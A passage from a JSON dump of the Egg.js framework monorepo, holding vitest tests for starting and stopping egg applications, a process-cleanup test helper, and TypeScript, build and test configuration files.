assert(app.stdout.includes('[agent_worker] exit with code:0'));\n      }\n\n      expect(killer.stdout).toMatch(/stopping egg application with --title=example/);\n      expect(killer.stdout).toMatch(/got master pid \\[\\d+\\]/i);\n    });\n  });\n\n  describe.skip('stop all', () => {\n    let app: Coffee;\n    let app2: Coffee;\n    let killer: Coffee;\n\n    beforeEach(async () => {\n      await cleanup(fixturePath);\n      const port = await detectPort();\n      app = coffee.fork(eggBin, [\n        'start',\n        '--workers=2',\n        '--title=example-stop',\n        `--port=${port}`,\n        fixturePath,\n      ]) as Coffee;\n      app.debug();\n      app.expect('code', 0);\n\n      const port2 = await detectPort();\n      app2 = coffee.fork(eggBin, [\n        'start',\n        '--workers=2',\n        '--title=example-stop-test',\n        `--port=${port2}`,\n        fixturePath,\n      ]) as Coffee;\n      app2.expect('code', 0);\n\n      await scheduler.wait(10000);\n\n      expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      // const result = await request(`http://127.0.0.1:${port}`);\n      // expect(result.data.toString()).toBe('hi, egg');\n\n      expect(replaceWeakRefMessage(app2.stderr)).toBe('');\n      expect(app2.stdout).toMatch(/custom-framework started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      // const result2 = await request(`http://127.0.0.1:${port2}`);\n      // expect(result2.data.toString()).toBe('hi, egg');\n    });\n\n    afterEach(async () => {\n      app.proc.kill('SIGTERM');\n      app2.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should stop', async () => {\n      killer = coffee.fork(eggBin, ['stop'], { cwd: fixturePath }) as Coffee;\n      killer.debug();\n      // killer.expect('code', 0);\n      await killer.end();\n\n      // make sure is kill not auto exist\n      expect(app.stdout).not.toMatch(/exist by env/);\n\n      // no way to handle the SIGTERM signal in windows ?\n      if (!isWindows) {\n        // expect(app.stdout).toMatch(/\\[master] master is killed by signal SIGTERM, closing/);\n        expect(app.stdout).toMatch(/\\[master] exit with code:0/);\n        // expect(app.stdout).toMatch(/\\[app_worker] exit with code:0/);\n        // assert(app.stdout.includes('[agent_worker] exit with code:0'));\n      }\n\n      expect(killer.stdout).toMatch(/stopping egg application/);\n      expect(killer.stdout).toMatch(/got master pid \\[\\d+,\\d+\\]/i);\n\n      expect(app2.stdout).not.toMatch(/exist by env/);\n\n      // no way to handle the SIGTERM signal in windows ?\n      // if (!isWindows) {\n      //   expect(app2.stdout).toMatch(/\\[master] master is killed by signal SIGTERM, closing/);\n      //   expect(app2.stdout).toMatch(/\\[master] exit with code:0/);\n      //   expect(app2.stdout).toMatch(/\\[app_worker] exit with code:0/);\n      // }\n    });\n  });\n\n  describe('stop all with timeout', () => {\n    let app: Coffee;\n    let killer: Coffee;\n    beforeEach(async () => {\n      await cleanup(timeoutPath);\n      const port = await detectPort();\n      app = coffee.fork(eggBin, [\n        'start',\n        '--workers=2',\n        '--title=stop-timeout',\n        `--port=${port}`,\n        timeoutPath,\n      ]) as Coffee;\n      app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      // assert.equal(replaceWeakRefMessage(app.stderr), '');\n      expect(app.stdout).toMatch(/http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      // const result = await request(`http://127.0.0.1:${port}`);\n      // expect(result.data.toString()).toBe('hi, egg');\n    });\n\n    afterEach(async () => {\n      app.proc.kill('SIGTERM');\n      await cleanup(timeoutPath);\n    });\n\n    it('should stop error without timeout', async () => {\n      killer = coffee.fork(eggBin, ['stop'], { cwd: timeoutPath }) as Coffee;\n      killer.debug();\n      killer.expect('code', 0);\n      await killer.end();\n      await scheduler.wait(waitTime);\n\n      // make sure is kill not auto exist\n      expect(app.stdout).not.toMatch(/exist by env/);\n\n      // no way to handle the SIGTERM signal in windows ?\n      if (!isWindows) {\n        expect(app.stdout).toMatch(/\\[master] master is killed by signal SIGTERM, closing/);\n        // expect(app.stdout).toMatch(/app_worker#\\d+:\\d+ disconnect/);\n        // expect(app.stdout).toMatch(/don't fork, because worker:\\d+ will be kill soon/);\n      }\n\n      expect(killer.stdout).toMatch(/stopping egg application/);\n      expect(killer.stdout).toMatch(/got master pid \\[\\d+\\]/i);\n    });\n\n    it('should stop success', async () => {\n      killer = coffee.fork(eggBin, ['stop', '--timeout=1000'], {\n        cwd: timeoutPath,\n      }) as Coffee;\n      killer.debug();\n      killer.expect('code', 0);\n\n      // await killer.end();\n      await scheduler.wait(waitTime);\n\n      // make sure is kill not auto exist\n      expect(app.stdout).not.toMatch(/exist by env/);\n\n      // no way to handle the SIGTERM signal in windows ?\n      if (!isWindows) {\n        expect(app.stdout).toMatch(/\\[master] master is killed by signal SIGTERM, closing/);\n        expect(app.stdout).toMatch(/\\[master] exit with code:0/);\n        expect(app.stdout).toMatch(/\\[agent_worker] exit with code:0/);\n      }\n\n      expect(killer.stdout).toMatch(/stopping egg application/);\n      expect(killer.stdout).toMatch(/got master pid \\[\\d+\\]/i);\n    });\n  });\n\n  // may get Error: EPERM: operation not permitted on windows\n  describe.skipIf(isWindows)('stop with symlink', () => {\n    const baseDir = path.join(__dirname, 'fixtures/tmp');\n\n    beforeEach(async () => {\n      await fs.symlink(fixturePath, baseDir, 'dir');\n\n      // *unix get the real path of symlink, but windows wouldn't\n      const appPathInRegexp = isWindows ? baseDir.replace(/\\\\/g, '\\\\\\\\') : fixturePath;\n\n      await cleanup(fixturePath);\n      await fs.rm(logDir, { force: true, recursive: true });\n      const port = await detectPort();\n      await coffee\n        .fork(eggBin, ['start', '--daemon', '--workers=2', '--title=egg-server-example-stop', `--port=${port}`], {\n          cwd: baseDir,\n        })\n        .debug()\n        .expect('stdout', new RegExp(`Starting custom-framework application at ${appPathInRegexp}`))\n        .expect('code', 0)\n        .end();\n\n      await fs.rm(baseDir, { force: true, recursive: true });\n      // const result = await request(`http://127.0.0.1:${port}`);\n      // expect(result.data.toString()).toBe('hi, egg');\n    });\n\n    afterEach(async () => {\n      await cleanup(fixturePath);\n      await fs.rm(baseDir, { force: true, recursive: true });\n    });\n\n    it('should stop', async () => {\n      await fs.rm(baseDir, { force: true, recursive: true });\n      await fs.symlink(path.join(__dirname, 'fixtures/status'), baseDir);\n\n      await coffee\n        .fork(eggBin, ['stop', '--title=egg-server-example-stop', baseDir])\n        .debug()\n        .expect('stdout', /stopping egg application/)\n        .expect('stdout', /got master pid \\[\\d+\\]/i)\n        .expect('code', 0)\n        .end();\n    });\n  });\n});\n"
  },
  {
    "path": "tools/scripts/test/ts.test.ts",
    "content": "import cp from 'node:child_process';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nimport coffee from 'coffee';\nimport { detectPort } from 'detect-port';\nimport { mm, restore } from 'mm';\nimport { request } from 'urllib';\nimport { describe, it, beforeAll, afterAll, beforeEach, afterEach, expect } from 'vitest';\n\nimport { isWindows } from '../src/helper.ts';\nimport { cleanup, type Coffee } from './utils.ts';\n\nconst __dirname = import.meta.dirname;\n\ndescribe.skip('test/ts.test.ts', () => {\n  const eggBin = path.join(__dirname, '../bin/run.js');\n  const homePath = path.join(__dirname, 'fixtures/home');\n  const waitTime = 5000;\n  let fixturePath: string;\n\n  beforeEach(() => mm(process.env, 'MOCK_HOME_DIR', homePath));\n  afterEach(restore);\n\n  beforeAll(() => fs.mkdir(homePath, { recursive: true }));\n  afterAll(() => fs.rm(homePath, { recursive: true, force: true }));\n\n  describe('should display correct stack traces', () => {\n    let app: Coffee;\n    beforeEach(async () => {\n      fixturePath = path.join(__dirname, 'fixtures/ts');\n      await cleanup(fixturePath);\n      cp.spawnSync('npm', ['run', isWindows ? 'windows-build' : 'build'], {\n        cwd: fixturePath,\n        shell: isWindows,\n      });\n    });\n\n    afterEach(async () => {\n      if (app?.proc) app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('--ts', async () => {\n      const port = await detectPort();\n      app = coffee.fork(eggBin, ['start', '--workers=1', '--ts', `--port=${port}`, fixturePath]) as Coffee;\n      app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      // expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/egg started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      const result = await request(`http://127.0.0.1:${port}`, {\n        dataType: 'json',\n      });\n      // console.log(result.data);\n      expect(result.data.stack).toContain(path.normalize('app/controller/home.ts:6:13'));\n    });\n\n    it('--typescript', async () => {\n      const port = await detectPort();\n      app = coffee.fork(eggBin, ['start', '--workers=1', '--typescript', `--port=${port}`, fixturePath]) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      // expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/egg started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      const result = await request(`http://127.0.0.1:${port}`, {\n        dataType: 'json',\n      });\n      // console.log(result.data);\n      expect(result.data.stack).toContain(path.normalize('app/controller/home.ts:6:13'));\n    });\n\n    it('--sourcemap', async () => {\n      const port = await detectPort();\n      app = coffee.fork(eggBin, ['start', '--workers=1', '--sourcemap', `--port=${port}`, fixturePath]) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      // expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/egg started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      const result = await request(`http://127.0.0.1:${port}`, {\n        dataType: 'json',\n      });\n      // console.log(result.data);\n      expect(result.data.stack).toContain(path.normalize('app/controller/home.ts:6:13'));\n    });\n  });\n\n  describe('pkg.egg.typescript', () => {\n    let app: Coffee;\n    beforeEach(async () => {\n      fixturePath = path.join(__dirname, 'fixtures/ts-pkg');\n      await cleanup(fixturePath);\n      cp.spawnSync('npm', ['run', isWindows ? 'windows-build' : 'build'], {\n        cwd: fixturePath,\n        shell: isWindows,\n      });\n    });\n\n    afterEach(async () => {\n      if (app?.proc) app.proc.kill('SIGTERM');\n      await cleanup(fixturePath);\n    });\n\n    it('should got correct stack', async () => {\n      const port = await detectPort();\n      app = coffee.fork(eggBin, ['start', '--workers=1', `--port=${port}`, fixturePath]) as Coffee;\n      // app.debug();\n      app.expect('code', 0);\n\n      await scheduler.wait(waitTime);\n\n      // expect(replaceWeakRefMessage(app.stderr)).toBe('');\n      expect(app.stdout).toMatch(/egg started on http:\\/\\/127\\.0\\.0\\.1:\\d+/);\n      const result = await request(`http://127.0.0.1:${port}`, {\n        dataType: 'json',\n      });\n      // console.log(result.data);\n      expect(result.data.stack).toMatch(/home\\.ts:6:13/);\n      // assert(result.data.stack.includes(path.normalize('app/controller/home.ts:6:13')));\n    });\n  });\n});\n"
  },
  {
    "path": "tools/scripts/test/utils.ts",
    "content": "import { ChildProcess } from 'node:child_process';\nimport { scheduler } from 'node:timers/promises';\n\nimport { Coffee as _Coffee } from 'coffee';\n\nimport { isWindows, findNodeProcess } from '../src/helper.ts';\n\nexport type Coffee = _Coffee & {\n  proc: ChildProcess;\n  stderr: string;\n  stdout: string;\n  code?: number;\n};\n\nexport async function cleanup(baseDir: string) {\n  const processList = await findNodeProcess((x) => {\n    const dir = isWindows ? baseDir.replace(/\\\\/g, '\\\\\\\\') : baseDir;\n    const prefix = isWindows ? '\\\\\"baseDir\\\\\":\\\\\"' : '\"baseDir\":\"';\n    return x.cmd.includes(`${prefix}${dir}`);\n  });\n\n  if (processList.length) {\n    console.log(`cleanup: ${processList.length} to kill`);\n    for (const item of processList) {\n      const pid = item.pid;\n      const cmd = item.cmd;\n      let type = 'unknown: ' + cmd;\n      if (cmd.includes('start-cluster')) {\n        type = 'master';\n      } else if (cmd.includes('app_worker.js')) {\n        type = 'worker';\n      } else if (cmd.includes('agent_worker.js')) {\n        type = 'agent';\n      }\n\n      try {\n        process.kill(pid, type === 'master' ? '' : 'SIGKILL');\n        console.log(`cleanup ${type} ${pid}`);\n      } catch (err: any) {\n        console.log(`cleanup ${type} ${pid} got error ${err.code || err.message || err}`);\n        if (err.code !== 'ESRCH') {\n          throw err;\n        }\n      }\n    }\n\n    await scheduler.wait(500);\n  }\n}\n\nexport function replaceWeakRefMessage(stderr: string) {\n  // Using compatibility WeakRef and FinalizationRegistry\\r\\n\n  if (stderr.includes('Using compatibility WeakRef and FinalizationRegistry')) {\n    stderr = stderr.replace(/Using compatibility WeakRef and FinalizationRegistry[\\r\\n]*/g, '');\n  }\n  return stderr;\n}\n"
  },
  {
    "path": "tools/scripts/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"compilerOptions\": {\n    // Disable isolatedDeclarations for @oclif/core compatibility\n    // The @oclif Flags API doesn't work well with isolatedDeclarations\n    \"isolatedDeclarations\": false\n  },\n  \"exclude\": [\"test/fixtures/**/*.ts\"]\n}\n"
  },
  {
    "path": "tools/scripts/vitest.config.ts",
    "content": "import { defineConfig } from 'vitest/config';\n\nexport default defineConfig({\n  test: {\n    testTimeout: 60000,\n    hookTimeout: 60000,\n    include: ['test/**/*.test.ts'],\n    coverage: {\n      provider: 'v8',\n      exclude: ['**/test/**'],\n    },\n  },\n});\n"
  },
  {
    "path": "tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"target\": \"ES2022\",\n    \"composite\": true,\n    \"incremental\": true,\n    // https://www.typescriptlang.org/docs/handbook/release-notes/typescript-5-5.html#isolated-declarations\n    \"isolatedDeclarations\": true,\n    \"verbatimModuleSyntax\": true,\n    \"types\": [\"node\"]\n  },\n  \"exclude\": [\"**/tsdown.config.ts\", \"**/vitest.config.ts\"],\n  \"references\": [\n    {\n      \"path\": \"./packages/egg\"\n    },\n    {\n      \"path\": \"./packages/core\"\n    },\n    {\n      \"path\": \"./packages/errors\"\n    },\n    {\n      \"path\": \"./packages/logger\"\n    },\n    {\n      \"path\": \"./packages/path-matching\"\n    },\n    {\n      \"path\": \"./packages/utils\"\n    },\n    {\n      \"path\": \"./plugins/mock\"\n    },\n    {\n      \"path\": \"./packages/cluster\"\n    },\n    {\n      \"path\": \"./packages/koa\"\n    },\n    {\n      \"path\": \"./packages/supertest\"\n    },\n    {\n      \"path\": \"./packages/extend2\"\n    },\n    {\n      \"path\": \"./packages/koa-static-cache\"\n    },\n    {\n      \"path\": \"./packages/router\"\n    },\n    {\n      \"path\": \"./packages/cookies\"\n    },\n    {\n      \"path\": \"./plugins/development\"\n    },\n    {\n      \"path\": \"./plugins/jsonp\"\n    },\n    {\n      \"path\": \"./plugins/watcher\"\n    },\n    {\n      \"path\": \"./plugins/onerror\"\n    },\n    {\n      \"path\": \"./plugins/schedule\"\n    },\n    {\n      \"path\": \"./plugins/static\"\n    },\n    {\n      \"path\": \"./plugins/security\"\n    },\n    {\n      \"path\": \"./plugins/session\"\n    },\n    {\n      \"path\": \"./plugins/logrotator\"\n    },\n    {\n      \"path\": \"./plugins/multipart\"\n    },\n    {\n      \"path\": \"./plugins/i18n\"\n    },\n    {\n      \"path\": \"./plugins/view\"\n    },\n    {\n      \"path\": \"./plugins/view-nunjucks\"\n    },\n    {\n      \"path\": \"./plugins/tracer\"\n    },\n    {\n      \"path\": \"./plugins/typebox-validate\"\n    },\n    {\n      \"path\": \"./plugins/redis\"\n    },\n    {\n      \"path\": \"./tools/egg-bin\"\n    },\n    {\n      \"path\": \"./tools/scripts\"\n    },\n    {\n      \"path\": \"./tools/create-egg\"\n    },\n    {\n      \"path\": \"./tegg/plugin/orm\"\n    },\n    {\n      \"path\": \"./tegg/core/vitest\"\n    },\n    {\n      \"path\": \"./tegg/core/agent-runtime\"\n    }\n  ]\n}\n"
  },
  {
    "path": "tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  // Workspace configuration - builds all library packages from root\n  workspace: {\n    include: ['packages/*', 'plugins/*', 'tools/*', 'tegg/core/*', 'tegg/plugin/*', 'tegg/standalone/*'],\n    exclude: [\n      'packages/tsconfig', // Config-only package, no src to build\n      'packages/skills', // Pure markdown package, no src to build\n      'dist',\n    ],\n  },\n\n  // Shared defaults\n  unused: {\n    level: 'error',\n  },\n  exports: {\n    devExports: true,\n  },\n  fixedExtension: false,\n  publint: {\n    level: 'suggestion',\n    strict: true,\n  },\n\n  // Default entry pattern - glob to include all source files\n  entry: 'src/**/*.ts',\n  // should set unbundle and external together, avoid bundle @eggjs/* and egg packages\n  unbundle: true,\n  external: [/^@eggjs\\//, 'egg'],\n});\n"
  },
  {
    "path": "vercel.json",
    "content": "{\n  \"git\": {\n    \"deploymentEnabled\": false\n  },\n  \"github\": {\n    \"silent\": true\n  }\n}\n"
  },
  {
    "path": "vitest.config.ts",
    "content": "import { defineConfig, type UserWorkspaceConfig } from 'vitest/config';\n\nconst config: UserWorkspaceConfig = defineConfig({\n  test: {\n    pool: 'threads',\n    isolate: false,\n    projects: [\n      'packages/*',\n      'plugins/*',\n      'tools/create-egg',\n      'tegg/core/*',\n      'tegg/plugin/*',\n      'tegg/standalone/*',\n      // FIXME: enable this will cause one test file run twice\n      // {\n      //   extends: true,\n      //   test: {\n      //     include: ['**/test/**/*.test.ts'],\n      //     exclude: ['**/test/fixtures/**', '**/node_modules/**', '**/dist/**'],\n      //   },\n      // },\n    ],\n    coverage: {\n      provider: 'v8',\n      exclude: ['**/test/**'],\n    },\n    hookTimeout: 20000,\n    testTimeout: 20000,\n    env: {\n      // disable tegg plugins by default on unittest, make test speed up\n      DISABLE_TEGG_PLUGINS: 'true',\n      // TODO: aop plugin required this flag, otherwise there will be a SyntaxError: Invalid or unexpected token\n      NODE_OPTIONS: '--import=tsx/esm',\n      // FIXME: TypeError: Cannot read properties of undefined (reading 'mode')\n      // NODE_OPTIONS: '--import=@oxc-node/core/register',\n    },\n    // poolOptions: {\n    //   forks: {\n    //     execArgv: [\n    //       // TODO: aop plugin required this flag, otherwise there will be a SyntaxError: Invalid or unexpected token\n    //       '--import=tsx/esm',\n    //       // TODO: TypeScript enum is not supported in strip-only mode\n    //       // '--experimental-transform-types',\n    //     ],\n    //   },\n    // },\n    experimental: {\n      fsModuleCache: true,\n    },\n  },\n});\n\nexport default config;\n"
  }
]